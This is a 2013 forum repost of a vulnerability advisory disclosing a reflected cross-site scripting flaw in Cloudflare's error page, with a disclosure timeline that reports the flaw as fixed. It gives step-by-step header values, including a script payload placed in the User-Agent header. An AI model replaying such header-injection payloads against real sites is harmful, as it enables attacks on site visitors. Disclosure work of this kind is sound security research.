Matt Posted August 26, 2013 Report Posted August 26, 2013 Description : Cloudflare suffers from a cross site scripting vulnerabilityAuthor : Glenn GrantSource : Cloudflare Cross Site Scripting ? Packet StormCode : Details below of an XSS vulnerability I discovered in Cloudflare (markdownformat)- Glenn | /dev/alias* http://blog.devalias.net* http://devalias.net-----**Reference Number:** DAHAX-2013-001 (/dev/alias/hacks 2013-001)**Notification Timeline:*** 10/07/2013, Request# 38713 (https://support.cloudflare.com/anonymous_requests/new)* 10/07/2013, Vendor looking into issue* 16/07/2013, Updated vendor with new details (Length: 101 instead of 72)* 16/07/2013, Vendor requested that I test again* [No further response from vendor]* 01/08/2013, Tested again, vulnerability fixed**Details Published:** 14/08/2013 (http://blog.devalias.net/post/58217238426/dahax-2013-001-cloudflare-xss-vulnerability)## What?* Reflected XSS (cross site scripting) attack## Where's Affected?* Theoretically it seems that any page that uses cloudflare will beaffected. - Eg: http://www.cloudflare.com/## How?* **To bring up the vulnerable page** - Set your X-Forwarded-For header to <del>72+</del> 101+ characters - <del>Eg: X-Forwarded-For:AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEEFFFFFFFFFFGGGGGGGGGGHH</del> - Eg: <pre>X-Forwarded-For:AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEEFFFFFFFFFFGGGGGGGGGGHHHHHHHHHHIIIIIIIIIIJJJJJJJJJJK</pre> - Load a site using cloudflare - You should end up on "DNS Points to Prohibited IP" page* **To trigger the XSS** - Set your User-Agent string to the XSS attack - Eg: <pre>User-Agent: USER-AGENT being tested forXSS..<script>alert('Vulnerable to XSS via USER-AGENT header [Found bydevalias.net]')</script></pre>* **The whole attack** - Ensure your X-Forwarded-For and User-Agent headers are configured asabove - Navigate to a page using cloudflare - ??? - Profit!## Who?* Discovered by [Glenn '/dev/alias' Grant](http://www.devalias.net/) (glenn@devalias.net)## Responsible Disclosure Notice* Following in the footsteps of Google's vulnerability disclosure timeline,unless otherwise agreed to beforehand, I reserve the right to publiclyannounce the details of any discovered vulnerabilities 7 days postnotification. * **Google's Rationale:** "Seven days is an aggressive timeline and maybe too short for some vendors to update their products, but it should beenough time to publish advice about possible mitigations, such astemporarily disabling a service, restricting access, or contacting thevendor for more information. As a result, after 7 days have elapsed withouta patch or advisory, we will support researchers making details availableso that users can take steps to protect themselves. By holding ourselves tothe same standard, we hope to improve both the state of web security andthe coordination of vulnerability management." - [Google](http://googleonlinesecurity.blogspot.com.au/2013/05/disclosure-timeline-for-vulnerabilities.html Quote